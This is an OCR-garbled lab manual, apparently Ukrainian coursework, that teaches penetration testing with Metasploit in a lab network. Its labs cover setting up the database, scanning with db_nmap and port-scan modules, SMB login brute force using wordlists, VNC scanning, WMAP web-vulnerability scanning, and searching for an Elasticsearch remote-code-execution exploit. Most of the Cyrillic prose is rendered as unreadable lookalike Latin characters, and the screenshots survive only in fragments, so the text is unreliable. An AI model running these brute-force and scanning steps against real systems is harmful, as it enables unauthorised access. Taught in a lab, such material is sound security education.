TeopernuHni BizomocTi

Hamanmi 1 mpoBemeHHST TeCTyBaHHS BpasnuBUX — pentest-cranmiii  Ha
NpOHUKHEHHs Mu OyeMo BukopuctoByBaTu Metasploit Framework — mmatdopma amst
HAIMCaHHsI, TECTYBAaHHS Ta BUKOHAHHS €KCIUIONTIB. BiH Mae Benuky 6a3y Bike TOTOBUX
EKCIUIOWTIB Ta JOJATKOBUX 1HCTPYMEHTIB, SIKI MOXYTh CTaTH MPU HAroji Mija 4ac
TECTYBaHHS CUCTEMHU. Y Cl CKPUITH, MIATOTOBIICHI JJIs BAKOHAHHA OCOOJMBHUX 3aJa4
Ta TMPOTECTOBAHI Y BUKOPHUCTaHHI 3a gonomoroto Metasploit, ctarote Mogymsimu Ta
MOTPAIUISIOTh B OJTHY 3 KaTEropii:

— Auxiliary: ckanyBanHs, (a33uHT, CHI(IHT Ta MOKIMBOCTI aIMiHICTpATOPA;

— Encoders: 36epiraroTs IiTICHICTD MIEHI0A/IB,;

— Evasion: yHMKHEHHS TOMITHOCTI;

— Exploits: BukopucTOBYOTh Bpa3IMBICTh JJIs JIOCTABICHHS MEHII0ay;

— NOPs: 36epiratoTs po3mip neisioaay noCTiHUM;

— Payloads: ko, 110 BUKOHYETHCS BIAIATICHO BiJl € THYETHCS J0 aTaKyl04doro Ta
HaJIaro[Ky€e 3B’ S130K;

— Post: Mmoxyi nist 300py iH(pOpMaIlii 3 CHCTEMH, TTOTIUOICHOTO TPOHUKHEHHS
B MEPEXKY TOILIO;

— Plugin: noxatkoBi cKpHIITH, 110 IHTETPYIOTHCS B poboTy Metasploit.

Yeci mi Moyt MoXHA 3HalTH 3a nutixom “fusr/share/metasploit-framework ™.

MonaynbeHa apxiTekTypa poouts Metasploit Framework mseiiiiapcskum HOXOM,
JI0 SIKOTO 3aBKJIM MOKHA JTOJIaTH CB1M MOJyJIb Ta IHTETPYBATH B MPOIEC TECTYBAHHS.

Metasploit Framework Takox opraHizoBye ycCr 3HaijieHy iH(opMmallio 3a
normoMororo 6a3u nanux PostgreSQL, 1 103Bossie BUKOPUCTOBYBATH 1110 1H(OpMAITio
I1]] YaC CTBOPEHHS €KCILIOMNTY.

[Ticns posropTaHHS BIpTyaJIbHMX MAaIIUH JJI TPOBEJACHHS TECTYBAHHS
HeoOxiguo marorosutu Metasploit Framework. Bin ke Bcranosiaenuii na OC Kali
Linux, oHaK SKIO BiH BIJICYTHIN y CUCTEMI HOTr0o MOKHA 3aBaHTAKUTH 3a JOIMTOMOTOIO
KOMaHIU “‘sudo apt install metasploit-framework”. Ilepen 3amyckom
Metasploit moTpiOHo iHimianizyBaTi 6a3y manux PostgreSQL, mo6 yci pesynbratu
30epiranucs y 3pydHoMy BUTJsial. s 1iboro moTpiOHO BUKOHATH KOMaHAY “‘msfdb
init” BiJ iMeHi r00t’a 3 OCHOBHOI KOHCOJII.
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kali@kali: ~

File Actions Edit View Help

~

init

[sudo] password for kali:

[+] Starting database

[+] Creating database user 'msf’

[+] Creating databases 'msf’
[+] Creating databases 'msf_test’
[+] Creating configuration file '/usr/share/metasploit-framework/config/database

.yml’

[+] Creating initial database schema

~

Pucynok 9.1 — Bukonanus komanau msfdb init

[Ticns Bmanmoi iHimiamizaimii Oa3u JaHUX BapTO NEPEKOHATHCS, IO CEPBIC
“postgresql” 3amymieno (Pucynok 9.2).

File Actions

e postgresql.

Loaded:
Active:
Main PID:
CPU:

Feb 26 03:34:
Feb 26 03:34:

kali@kali: ~
Edit View Help

status postgresql
service - PostgreSQL RDBMS
loaded (/lib/systemd/system/postgresql.service; disabled; preset: disabled)
active ( 1) since Sun -02-26 03:34:21 EET; 40min ago
17451 (code=exited, status=0/SUCCESS)

48ms

21 kali systemd[1]: Starting postgresqgl.service - PostgreSQL RDBMS ...
21 kali systemd[1]: Finished postgresql.service - PostgreSQL RDBMS.

Pucynok 9.2 — Ilepesipka cepricy postgresql

Hns 3amycky Metasploit  mocTatHbO BBeCTHM B TepMiHaNli KOMaHIY
“msfconsole”. Ilicnma 3amycky Metasploit BuBene Oanmep Ta maHi mpo CBOI
moayii (Pucynok 9.3). Msfconsole — e ocuoBHwmit inTepdetic Metasploit Framework,
3a JJOTIOMOTOI0 HHOTO BiIOYBA€THCS BCS B3AEMOJIS 3 HUM.
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kali@kali: ~
File Actions Edit View Help

METASPLOIT by Rapid7
EXPLOIT

msf >

RECON

PAYLOAD

2278 exploits - 1201 auxiliary - 408 post
968 payloads - 45 encoders - 11 nops
9 evasion

|

+ + +
| 1 1
| 1 1
| 1 1
1
" " |} 1}
— ———

Metasploit tip: Use the command to run
commands from a file
Metasploit Documentation: https://docs.metasploit.com/

msf6 > ]

Pucynok 9.3 — banep Metasploit Ta nani nmpo Moy

[Ticnst 3anycky Metasploit HeoOXiHO BIIEBHUTHCH, 110 0a3a TaHUX, B sKiil Oyie
30epiraTucs iHGopMallis Ipo Balli i1l Ta JaH1 XellliB, MapoJil, JOT1HU, CEPBICH TOIIO,
MPaBUIIBHO MifKIr0YeHa. J[is iiporo B koHcosi Metasploit HeoOXigHO BBECTH KOMaHIy
“db status”. Y pasi, skmo 0aza JaHWUX MAKIOYEHa BIpHO, Oy/ie BHUBEICHO
BiAmoBiqHE moBimomiieHHs (Pucynok 9.4).
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Metasploit tip: When in a module, use to go
back to the top level prompt
Metasploit Documentation: https://docs.metasploit.com/

msf6 > db_status
Connected to msf. Connection type: postgresql.
msf6 > |j

Pucynok 9.4 — Bianosiae npo ycriniHe migkIoueHHs 0a3u TaHuX

Axmo 0a3a maHWX HE MiAKITIOYEHA — Tpeda 3pOOMTH MOBTOPHY IHIMIaTi3aIliio
BJ1: nis nporo B OCHOBHIM KOHCOJII TpeOa BBECTH KOMaHAY “sudo msfdb reinit”.

[Ticns Boanoro migkiaodeHHs 10 b/l MokHa BUKOHYBaTH 0a30B1 HaJAIITYBaHHS
rio0aNbHUX 3MIHHMX (PEHMBOpPKY, Takux sk: “rhost”, “lport” ta inmi. [ToapoOwuii
MX HaJANITyBaHhb MOXKHA TepeauBUTHCS y KoHconi Metasploit 3a momomororo
KOMaHIH “help”.

BcranoButr 3HaueHHS T100adbHOI 3MIHHOT MOXHA BHKOPHUCTOBYIOUH

(3

‘setg
<

yéix Mo Ry o011 sk EHHUATHDOINIAE P ROYBA HED THF0RR BHED M §16HIHHHMIK SIS
Oy 3a/1aHi.

TakuM ke YMHOM MOJKHA MEPEIUBIIATUCA 3HAYCHHS 3MIHHHUX 3a JOIIOMOTOIO
KOMaH/JI “get”/”’getqg” Ta BUAAIATH 3HAUYEHHS 3a JIOIOMOTOI0 “unset”/ unsetqg’.

3aBaaHHA:

— 3anyctutu Metasploit;

— HaJaITyBaTH MmakIodeHHs 10 b/I;

— BCTaHOBUTH I7100aJIbHI 3MiHHI, HAJATH B1JIOMOCTI PO HUX Y 3BITi;

— OOTIpyHTYBaTH BCTAHOBJICHHSI 3HAYEHB TJI00ATLHUM 3MIHHUM;

— HaJaTH y 3BiTi BIIOMOCTI PO OCHOBHI koMaH 11 Msfconsole (He meHIe cemn).
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JlaGopaTopHna pooora Ne 10
Tema: 306ip indopmartii 3a gonomororo Metasploit

Mera: HaBuntuncs BukopucToByBaTH BOY10BaHi Moy Metasploit Framework
U1 300PY JaHUX TIPO LT

TeopernuHni BizomocTi

Okpim, 6e3mocepe/IHbO, EKCILIONTIB Ta neinoanis, Metasploit Bkirodae Benuky
KUIBKICTh CKaHEPIB Ha PI3HOMAHITHI BUIIAIKH.

OpHuM 13 HAWPO3MOBCIO/KEHIINX Ta HAY>KMBAHIIIMX y MPaKTUIl CKaHEPIB
sanuiraetbess Nmap. Bin ske BximoueHuit 1 1o Metasploit, ogHak #oro BUKOpHUCTaHHS
JIENIO BIAPI3HSAETHCS BiJ BUKOPUCTAHHS 1M03a Mexamu (periMBopky. HaitronosHimia
BIJIMIHHICTh — BC1 JlaHl, 10 OyayTh 3HaiijeHi, OynyTh 3anucadi y BJl, ska Oyna
MIKIII0YEHA MTPU BUKOHAHHI JJabopaTopHoi podoTu Ne 9.

[Ticnst Toro, sk ckaHyBaHHS Oyj/ie 3aBepllieHe, JaHl CKaHyBaHHS OyIyTh 10/AaHi
y BJl 1 craHe MOXJIMBUM MIBUAKO Ta y 3py4HOMY ¢opmari OTpUMaTH JaHi, IO
IIKaBJIATh, BUKJIMKAIOYM KOMAaHAM Ha KIITAIT “hosts” — sika BUBEJEC HA €KpaH JIaHi
npo BifckaHoBaHi xoctu (Pucynok 10.1), a6o “vulns” — 10 BUBeAe yci 3HaiiieHi
BpaznuBocTi (Pucynok 10.2).

kali@kali: ~
File Actions Edit View Help

msf6 > hosts

name os_name os_flavor purpose comments

localhost Unknown device
Linux server
Unknown device

Pucynok 10.20 — [Ipukinan BUKOpUCTaHHS KOMaHAM hOStS
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kali@kali: ~
File Actions Edit View

msf6 > vulns

Vulnerabilities

Timestamp References

:33:03 UTC 2. 28.3 :proftpd:proftpd:1.3.5 SAINT:FD1752
B315E8382

8 4C4L2¢8
PROFTPD_MOD_COPY,
32777 ,PACKETSTORM

:132218, PACKETSTORM: 131567, PA
CKETSTORM: 131555, PACKETSTORM:
131505, EDB-ID: 49908, CVE-2015-
3306, 1337DAY-ID-36298,1337DAY
-1D-23720,1337DAY-ID-23544,SS
V:61050, CVE-202
9-19272 -201

2023-02-26 ©03:33:04 UTC 3.3 cpe:/a:openbsd:openssh:6.6.1
pl

Pucynok 10.2 — Ipukiaa BUKOpUCTaHHS KOMaH14 VUIns

Jiig Toro, mo0 pe3ynbTaTd CKaHyBaHHS oJpa3y AojaaBaiuch 10 bJl, HeoOxiaHO
BUKOPUCTATH KOMaHAy ‘“‘db nmap” pa3oM 13 HEOOXIIHUMHM KIIOYaMH Ta
HaJalllTyBaHHIMH,  SKi pO3IMNIAIaTuCh Yy BIANOBIAHIA  J1aOOpaTOpHii
po6ori (Pucynok 10.3). Came Tyt nomineHO BuKopucToByBaTH NSE-ckpunty mms
CKaHyBaHHs BPa3JIMBOCTEM.
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kali@kali: ~
File Actions Edit View Help

Nmap: "tagline™ : "You Know, for Search”
HTTPOptions:
HTTP/1.0 200 OK
Content-Type: text/plain; charset=UTF-8
Content-Length: 0
RTSPRequest, SIPOptions
HTTP/1.1 200 OK
Content-Type: text/plain; charset=UTF-8
Content-Length: @
p open ! syn-ack Microsoft Windows RPC
p open m syn-ack Microsoft Windows RPC
tcp open J syn-ack Java RMI
: 49159/tcp open tcpwrapped syn-ack
: Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows
: Nmap scan report for 172.28.128.6
: Host is up, received conn-refused (0.00039s latency).
: Scanned at 2023-02-26 05:2 ET for 113s
: All 1000 scanned ports on 17 .128.6 are in ignored states.
: Not shown: 1000 closed tcp ports (conn-refused)
: NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at @
mpleted NSE at 05 0.00s elapsed
NSE: Starting runle 2 (of 2) scan.
Initiating NSE at @
Completed NSE at 0.00s elapsed
Read data files fro r/bin/ .

: Service detection performed. Please report any incorrect results at https://nmap.org/submi

: Nmap done: 256 IP addresses (3 hosts up) scanned in 702.07 seconds

Pucynok 10.3 — Bukopucranus db_nmap 3 kirouem -A --script=vuln y Metasploit

OxkpiM 11bOrO, (PpeiMBOPK BKIJIFOYAE B €cOO1 OUIBIN crienudiuyHl CKaHEpH, SKi
MO’XHa BHUKOPUCTOBYBATH IIJIi YTOUHEHHs BXKE OTpUMaHoi iHdopmarliii abo momryky
4OroCh KOHKPETHOTO 0e€3 3aiiBoi B3aemojii 3 IIbOBOIO cucTtemoro. CrenudiyuHi
CKaHePH MOXKIIMBO 3HANTH y PO3/I1JIi JOMOMIKHUX 3aco0iB (auxiliary). s neperisy
3aco0iB  (peliMBOpKky B  Mexkax msfconsole  BUKOPHUCTOBYIOTH — KOMaH.IY
“search” — “search [<nmapameTp  >:<3HadUeHHI>] [<mykaHe  cJjoso>],

HanpuKiIaj Ajisl eperisiAy CKaHepiB, 110 MoB’s3aHi 3 “ICP” — “search path:scanner
tcp” (Pucynok 10.4).
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lali@kali: ~

File Actions Edit View Help

ms rch path:scanner tcp

nner/misc orma o 0 S Utility
http/ch

2018-03-16

2013-12-31

2017-06-16

canner Module
FTP Administr. word Disclosure

Pucynok 10.4 — Bukopucranns komanau search path:scanner tcp

Jlnst toro, mo6 oOpaTu OJUH 31 CKaHEpiB, HEOOXIAHO BUKOPUCTATH KOMAaHIY
“use” 1 BKa3aTH IUISX J10 BIAMOBIIHOTO cKkaHepa (abo Moaynst GppeiiMBOpKY, KOMaH1a
“use” BHUKOPHUCTOBYETHCS I MIAKIIOYCHHS Oyab-skoro moayins y Metasploit).
Hanpuxknan, aist Toro, o6 Bu3Haunty jumie T CP mopTu Ha neBHiM MalMHI, MOXHa
BUKOPHUCTATH CKaHEp “‘auxiliary/scanner/portscan/tcp’. Ilicis Toro, sK Horo
Oylle MiAKIIOYEHO, BapTO MEPETJIIHYTH KOro OINKC — 1€ MOXKJIHUBO 3pOOUTH 3a
JIOTIOMOT'0F0 KOMaHH “show’ Ta omiii “info” (Pucynok 10.5).
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kali@kali: ~

Actions Edit View Help

> use auxiliary/scanner/portscan/tcp
6 auxiliary( ) > show info

Name: TCP Port Scanner
Module: auxiliary/scanner/portscan/tcp
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
hdm <x@hdm.io>
kris katterjohn <katterjohn@gmail.com>

Check supported:
No

Basic options:
Name Current Setting Required Description

CONCURRENCY 10 yes The number of concurrent ports to check per host

DELAY [} yes The delay between connections, per thread, in milliseco
nds

JITTER yes The delay jitter factor (maximum value by which to +/-
DELAY) in milliseconds.

PORTS yes Ports to scan (e.g. 22-25,80,11 Q)

RHOSTS yes The target host(s), see https hub.com/rapid7/metas
ploit-framework/wiki/Using-Meta

THREADS yes The number of concurrent threads (max one per host)

TIMEOUT yes The socket connect timeout in milliseconds

Description:
Enumerate open TCP services by performing a full TCP connect on each
port. This does not need administrative privileges on the source
machine, which may be useful if pivoting.

View the full module info with the command.

msf6 auxiliary( B |

Pucynox 10.5 — Ilepernsa neransHoi iHpopMartii mpo Moayis (Show info)

[Ticns mepernsay iHpopMalii NPo MOAYIb HEOOXITHO MOro HalamTyBaTH. Y
0ol AeTanpHO1 1HGOpMAIIii BXKe TTOKa3aH1 OMIlii Ta iX moTo4yH1 3HaueHHs. [{1s1 BUBOIY
1H(MOpMaIIi JUIe PO OIIlii TOTOYHOTO MOYJIsI BUKOPUCTOBYETHCS KOMaH/Ia “show”
3 onuiero “options”. JlJs BCTAaHOBIEHHsS TE€BHOIO 3HAYEHHs MapameTrpa
BUKOPUCTOBYEThCSI KOMaHJa “set”. JlJi1 BCTAaHOBJIEHHSI 3HA4YE€HHS TJ00ATbHOT
3MiHHOT — “setg” (Pucynok 10.6).

kali@kali: ~
File Actions Edit View Help

msf6 auxiliary( ) > set rhosts 172.28.128.
rhosts = 172.28.128.3, 172.28.128.5
msf6 auxiliary( |

Pucynox 10.6 — BcTtaHoBieHHs 3HaYEHHS TapaMeTpa
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s 3amycky poOOTH MOTOYHOTO MOAYJS HEOOXITHO BUKOPUCTATH KOMAaHIY

(13 29

“exploit” abo run”. Pesynbrar pobotu MOJTYyJIst
“auxiliary/scanner/portscan/tcp”’ 300paxeHo Ha Pucynky 10.7

kali@kali: ~
File Actions Edit View Help

msf6 auxiliary(

+] 172.28.128.3: 28 3.3:21 - TCP OPEN
H TCP OPEN

]
+]
+] TCP OPEN
] 2 - 3. TCP OPEN
+] 172.28.128.3: 28 o TCP OPEN
+] :

]

]
+]

TCP OPEN
TCP OPEN
. -~ TCP OPEN
— 2.28. 3.3:808 TCP OPEN
. (50% complete)
Scanned 1 of 2 (50% complete)
Scanned 1 of 2 (50% complete)
172.28.128.5: - 172.28.128.5: TCP OPEN
Scanned 1 of 2 (50% complete)
Scanned 1 of (50% complete)
172.28. = .28. .5:80 - TCP OPEN
172, : :1617 TCP OPEN
172.
272 .
1725285
172.2¢

+

[
[
[
[
{
|
|
[
[

14848 - TCP OPEN
:5985 - TCP OPEN
18020 - TCP OPEN
18027 - TCP OPEN
18080 - TCP OPEN
18282 - TCP OPEN
18383 - TCP OPEN
18484 - TCP OPEN
18585 - TCP OPEN
:9200 - TCP OPEN

U ununn

|
wn

)
uxiliary module execution completed
msf6 auxiliary( ) > |

Pucynok 10.7 — PesynbsTat po6oTu ckanepa auxiliary/scanner/portscan/tcp

3aBaaHHA:

— BHUKOHATHU CKaHyBaHHSI OJIHIET 3 a00 000X BIpTyaJbHUX MaIlWH, 110 OyJu
3aBaHTaXEH1 y Jaboparopiit podoti Ne 8;

— BUKOHATH CKaHYBaHHS 32 JOIOMOIOK0 “db nmap’;

— BUKOHATU CKaHyBaHHS HE MEHII HI)XK TpbOMa J0JaTKOBUMH MOJYJISIMH;

— Bi00pa3wiu 3micT B/, BUKOpUCTOBYIOUM KOMaHIM Ha KIUTAIT “hosts® Ta
“services”;

— Yy 3BIT J0JAaTU PE3yJbTaTH CKAHYBAHHS MOAYJIB Ta ‘“db nmap”’, HaAaTH
KOPOTKY XapaKTEPUCTUKY Pe3yIbTaTiB pOOOTH BUKOPUCTAHUX MOJIYIIB.
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JlaGopaTopHa pobora Ne 11
Tema: [Tomyk BpaznuBocTeii 3a qoomororo Metasploit

Mera: HaBuuTuCs BHKOHYBaTH IIOLIIYK Bpa3JIMBOCTEH, BUKOPHUCTOBYIHOYH
3acoou Metasploit ¢pperiMBopKy

TeopernuHni BizomocTi

36ip iHdopMaIlii Ta 11 aHaJ13 IPO MUIb € HANOUIBIIT BaXKJIMBOIO 3aJ1a4eto 1] 9ac
MPOBE/ICHHS TECTYBaHb Ha MPOHUKHEHHs, Tomy Metasploit mMae mupoki MOXKIUBOCTI
14 ii 300py Ta 30epiranHs, 1o Ja€ 3MOry OTbII e(peKTHBHO ii aHATI3yBaTH.

OnHiero 3 TexHik 300py iHpopmarii € “Login attempt” — cnpoda Bxoxy. Bona
7A€ 3MOTY MEPEKOHATUCS, IO CEPBICH, SIKI JOCTYIIHI 330BHI, HE BHUKOPHUCTOBYIOTH
napojiB Ta JIOTIHIB 3a 3aMOBYYBaHHSIM, a00 3aHaaTo mpocTi. Llg TexHika AOCHUTH
IIyMHA, TEHEpPY€ 3aluCH y JOTM 1 MOXE BHUKIMKATH CIPAIIOBaHHS CHUCTEMU
BU3Ha4eHHs BToprHeHb (IDS), ane BoHa * 103BOJIsIE€ 30epertu Oarato 4vacy, i sSKIIo
B1JIOMO, 1110 MEHEHKMEHT 1HIIMAeHTIB Ib B opranizariii He HamaropKeHo K ¢l (To0To
JOCUTH TPyOI1 111 MOXKYTh 3aJIMIIUTUCH HEMTOMIYEHUMHM) — 11 MOXKJIUBO 3aCTOCOBYBATH.

BenuKy KUIBKICTh MOJYJIB, K1 JO3BOJISIIOTH pPeali3yBaTH L0 TEXHIKY, MOKHA
3HAWTH 3a KI04oBHM ciioBoM “login” y posmim “auxiliary/scanner”. PosrissHemo
npukiaa pobotu Takoro wmoxyias it SMB. lleit momynb 3HaXogUThCS Y
“auxiliary/scanner/smb/smb_login”.  bBimpmricte  omiii  IbOTO  MOAYJIS  BXKE
HaJIAIITOBAHO, ajie esKl 3 oniiil € cnenudiunumu, Hanpukiag — “PASS FILE”. Is
omiis J03BoJIsiE 00paTH (ailI-CIIOBHUK 3 MAPOJISIMHU, sIKI OyAyTh BUKOPHCTAHI M1 4ac
cnpobu BXoay, Ha kmTant bruteforce. Tyt ke Bapro BIAMITHTH 1 OO
“BRUTFORCE_SPEED”, mo nae 3Mory HajamTyBaTH IIBUAKICTE nepedopy. [licas
TOTO, SIK MOJYJIb OyJI0 00paHo (3a JOMOMOTOI0 KOMaHIu “use’) Ta 3KOH(ITYpOBaHO,
oro MOXJIHBO BUKOpUCTOBYBaTH. [Ipukmang poboTtu Momynst 300paxeHO Ha
Pucynky 11.1.
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kali@kali: ~

File Actions Edit View Help

xiliary/scanner/smb/smb_login
) > set rhost 172.28

> set user_file re/wordlists/metasploit/unix_users.txt

user_file = / y
uxiliar hare/wordlists/metasploit/unix_passwords.txt
/metasploit/unix_pas s.txt
) > run

- Starting SMB login bruteforce
admin' Guest
Dgifts:admin’
brt:

Pucynox 11.21 — [puxiag pobotu Moayis, mo peaidye TexHiky "Login attempt”

[Ile oiHI€O 3 MOMMPEHNUX KPUTUYHUX BPA3IMBOCTEN € MOTaHO KOH(DIrypOBaHHIA
cepBic VNC. Cepen nonatkoBux 3aco0iB Metasploit € crerianizoBani ckanepu Jyis
BOTO CEpBiCY. 3HAWTM IX MOXHA 3a KIIOYOBHM CIIOBOM ‘‘scanner/vnc”. 3a
3aMOBYYBaHHSM iX nBa. OOWH 3 HHUX [03BOJIAIE peani3yBaTH CKaHYBaHHS Ha
MOJIUBICTh MIAKIIOYEHHS 10 CEpBEPIB, IO MIATPUMYIOTH METOJ aBTEHTHQIKAIil
“none”. Moaynbs Mae BChOTO TPH OIIIIIi: ajgpeca Iiii, TOPT Ta KUIbKICTh MOTOKIB, K1
OynyTh HamaraTucs aBTeHTH(IKyBaTHCS Ha cepBepi. [lpuknag pobotu Momyns
300paxeHo Ha Pucynky 11.2.

kali@kali: ~
File Actions Edit View Help

msf6 auxiliary( ) > run

192.168.56.103:5900 - 192.168.56.103:5900 - VNC server protocol version: 3.3
192.168.56.103:5900 - 192.168.56.103:5900 - VNC server security types supported: VNC
192.168.56.103:5900 - Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed

msf6 auxiliary( ) > 1

Pucynox 11.22 — I[Ipuknaa pod6otu moays 3 cepBicom VNC

Oxpim Bcboro, Metasploit 103BoJisie BUKOHATH TOMIYK Bpa3iMBOCTEH y BeO-
nonatkax. J{Jst iboro BUKOPUCTOBYETHCS ckaHep/kpoyep mig Ha3Boto “WMAP”, iioro
MOXJIMBO 3HAaWTHU, BUKOPUCTABIIM B SKOCTI KJIIOUYOBOTO CJioBa HOro Has3By. BapTto
3ayBOXUTH, IO 1€ HE EIWHUN CKaHep/Kpoyiep s BeO-AOJaTKIB Yy CKiIaji
bpeitMBOpKY.

[Tnarin “wmap” 3aBaHTaxyeThcsi Oe3mocepeHh0 KOMaHI0t0 “load” (“load
wmap’’), TICJS YOTO 3 HUM MOXJIMBO MPAaIOBaTH.
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Jlnst mouaTky, HEOOXiTHO CTBOPUTH 3alUC MPO HOBHM CAMT 3a JOMOMOIOIO
KOMaHAu ‘“‘wmap sites” 3 KmoueM “-a” (mpukiaa: “wmap sites -a
http://somesite.com”). [licis yoro, Bka3aTu 1l 17151 KpOyJiepa BUKOPUCTOBYIOUU
KOMaHJy “wmap targets” 3 KIo4eM “-t” (mpUKIaL: “wmap targets -t
http://example.com/login”). JlomaTkoBe BU3HAYCHHS LLJICH (CTOPIHOK CanTy/BeO-
J0/IaTKY) J1a€ MOKJIMBICTh 3MEHIITUTH Yac CKaHYBaHHS 1 3HM)KY€E KUIBKICTh 3aIlIUTIB Y
CTOpPOHY CepBepa, 1110 y CBOIO YEPTy 3HIKYE IIAHC OYTH BUSBIICHUM.

[epernsuyTy, sixki moptu 3aiHATi HTTP-cepBicamu, MokHa 3a JAOMOMOTOIO
KOMaHIH “services” (Pucynok 11.3).

name state info

ftp open ProFTPD 1.3.5

ssh open OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 Ubuntu Linux; protoc
ol 2.0

http open Apache httpd 2.4.7

netbios-ssn open Samba smbd 4.3.11-Ubuntu workgroup: WORKGROUP

ipp open CUPS 1.7

PPP closed

mysql open MySQL unauthorized

http open Jetty 8.1.7.v20120910

intermapper closed

ftp open Microsoft ftpd

ssh open OpenSSH 7.1 protocol 2.0

http open Microsoft IIS httpd 7.5

ssl/http open Oracle Glassfish Application Server
http open Sun GlassFish Open Source Edition 4.0
http open Apache httpd

Pucynok 11.3 — BuBeaeHHs BiICKaHOBAaHUX CEPBICIB 3a JIOIMIOMOTO0 KOMaH/IH
“services”

OxpiM 1BOTO, IUIATiH JO3BOJISIE BU3HAYUTH SKI caMe€ MOJIyJl OyIyTh
BUKOPHUCTaHI1 BITHOCHO I[UT1. Y BIMKHYTI MOJTyJII MOKJIMBO MEPETIIIHYTH 3a JOIIOMOT OO
KOMaHJIM “‘wmap run -t”, IE€TaJBHIIIE PO TE, K KEPyBaTHU MOIYJISIMU, HATUCAHO Y
“wmap_run -h”, a JUIs 3allyCKy CKaHyBaHHS HEOOXIJHO BUKOPUCTATH KOMaHIY
“wmap run” 3 kimrodeM “-e”. [Ipukian podotu miariny 300paxxeno Ha Pucynok 11.4.

29
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http://somesite.com/
http://somesite.com/
http://somesite.com/

found with extension
found with extension
found with extension
found with extension
found » with extension
found with extension
found ¥ with extension
found with extension
found with extension
found for with extension

Using
Using
Using
Using
Using
Using
Using
Using
Using
Using
Found «
Found s/ 2 28.3:80/phpmyadmin 301

Found 1 //172 .3:80/uploads 301

Using ound for files with extension
Found hat 301

[ VRN - VIR < VI - VI < V]

W oW

W oW
nwuumuuewuuunununounen

+7]

F
- 3
Found s//172.28. 3.3 301
2
-]

Found http://172 uploads 301

Module auxiliary/scanner/http/http_put

Path: /

172.28.128.3: File doesn't seem to exist. The upload probably failed
Module auxiliary/scanner/http/ms@9_020_webdav_unicode_bypass
Path: /

172.28.128.3:80 Folder does not require authentication. [405]
Module auxiliary/scanner/http/prev_dir_same_name_file

Path: /

Blank or default PATH set.

Module auxiliary/scanner/http/replace_ext

Module auxiliary/scanner/http/soap_xml

Path: /

Starting scan with @ms delay between requests

Server 172.28.128.3:80 returned HTTP 404 for /. Use a different
Module auxiliary/scanner/http/trace_axd

Path: /

Module auxiliary/scanner/http/verb_auth_bypass

=[ Unique Query testing ]=

Module auxiliary/admin/ jar center_forge_saml_token
Module auxiliary/scanner/http/blind_sql_query

Module auxiliary/scanner/http/error_sql_injection
Module auxiliary/scanner/http/http_traversal

Module auxiliary/scanner/http/rails_mass_assignment
Module exploit/multi/http/lcms_php_exec

=[ Query testing ]=

=[ General testing ]=

R R A S B S S T I I S A I I I 0 I I I I B S B B S B S S B S R I R B B RS BT SRR R S

Launch completed in 806.2758409976959 seconds.

B e e e o

Pucynok 11.4 — [lpuknag po6otu wmap
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[Ticna ckaHyBaHHS MOKJIMBO 3pYYHO MEPErJISHYTH BCi 3HaWEHI BPa3JIMBOCTI
y BUTIISiA1 Tabmui 1 6e3 3aiiBoi iH(popMallii 3a TOMOMOT0I0 KOMaHAM “‘wmap vulns” 3
kaodem “-1” (Pucynok 11.5).

kali@kali: ~
File Actions Edit View Help

msf6 > wmap_vul
.128.3): web /
/host_header_injection HTTP Host Header Injection Detection

: scraper /

72.28.128.3): directory /
g Directory found allowing listing of its contents.

72.28.128.3): directory /cgi-bin/
irectory found.
GET Res code: 403
.3] (172.28.128.3): directory /chat/
irectory found.
GET Res code: 200
[172.28.128.3] (17 .128.3): directory /icons/
directory Direct
GET Res code: 40
[172.2 28.3] (17 8.3): directory /phpmyadmin/
Directory
ode: 200
] (172.28.128.3): directory /uploads/

: file /uploads

. 3): file /chat

file File found.
GET Res code: 301

[172.28.128.3] (172.28.12 : file /phpmyadmin
file File found.
GET Res code: 301

[172.28.128.5] (172. : directory /aspnet_client/
directory Directory found.
GET Res code: 403

[172.28.128.5] (172.28.128.5): file /index.html
file File found.
GET Res code: 200

msf6 > i

Pucynox 11.5 — Crnucok 3HalieHuX Bpa3InBOCTEH

Bapro 3ayBaxkuTH, 10 HaA3BUYAWHO BEJMKA KUIBKICTh BPa3JIMBOCTEH Yy
PI3HOMaHITHHMX CEpBicax Bxke OyiM 3Haii/iIeHi, 1 BUIIpaBJIeHH] y HACTYITHUX Bepcisx. Lle
MPUBOAMTH /10 TOTO, IO BPA3JIMBI Bepcli 3a3BUYall 3aMuIIalOThCA Bpa3iuBuMuU. Yepes
Il HaiyacTilie MOIIyK Bpa3iMBOCTeH 3a mormomororo Metasploit BukoHyeTbes He
OaraTonpoUIbHUMU CKaHEpaMu, a BPYYHY, IIYKAIOYM EKCIUIOMTH MJisi MEeBHHUX
CepBICiB, KOHKpETHUX Bepciid, Bepciit OC Tomio.

Hanpukinaa, Mu MOXeMO MEpEryisHyTH CEpPBICH, 3aIlyIlIeH] Ha XOCTaX, 00patu
OyIb-SIKHi1 3 HUX, III0 MA€ BU3HAYEHY BEPCIiIO, 1 MOYATH MOIIYK €KCIUIONTIB AJIs 1aHOTO
cepsicy (Pucynok 11.6). Takwmii migxiq MOKHA BUKOPHUCTOBYBATH 1 JJIsi 3aIUCIB Y
tabmuii db_vulns.
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tcp http Apache httpd

tcp

tcp

tcp elasticsearch Elastic elasticsearch 1.1.1
3 tcp msr Microsott Wi RPC

tcp Microsoft Windows RPC
8 tcp java-rmi Java RMI
tcp tcpwrapped

msf6 > search elasticsearch 1.1.1

Matching Modules

# Name Disclosure Date Rank Check Description

0 exploit/multi/Elasticsearch/script_mvel_rce 2013-12-09 Yes ELasticSearch Dynamic Script A
rbitrary Java Execution

Interact with a module by name or index. For example

msf6 > info @

Name: ElasticSearch Dynamic Script Arbitr
it/multi/elasticsearch/script_

ploit Framework License (BSD)
lent

Pucynox 11.6 — [Tonryk eKCIIONTIB 3a TIOMOMOTOI0 HAa3BH CEPBICY Ta Bepcii

3aBaaHHA:

— BHWKOHATH CKaHyBaHHs THITY “L0gin attempt” BiqHOCHO TPHOX Pi3HHUX CEPBICIB
Ha OJHIM 3 IBOX paHIllle 3aBAaHTAXKEHUX BIPTYyAIbHUX MAaIlIUH;

— BUKOHATH ckaHyBaHHs cepBicy VNC;

— BUKOHATH CKaHyBaHHS BeO-70/1aTKy, IO PO3TOPHYTO Ha BIpTyalbHIN
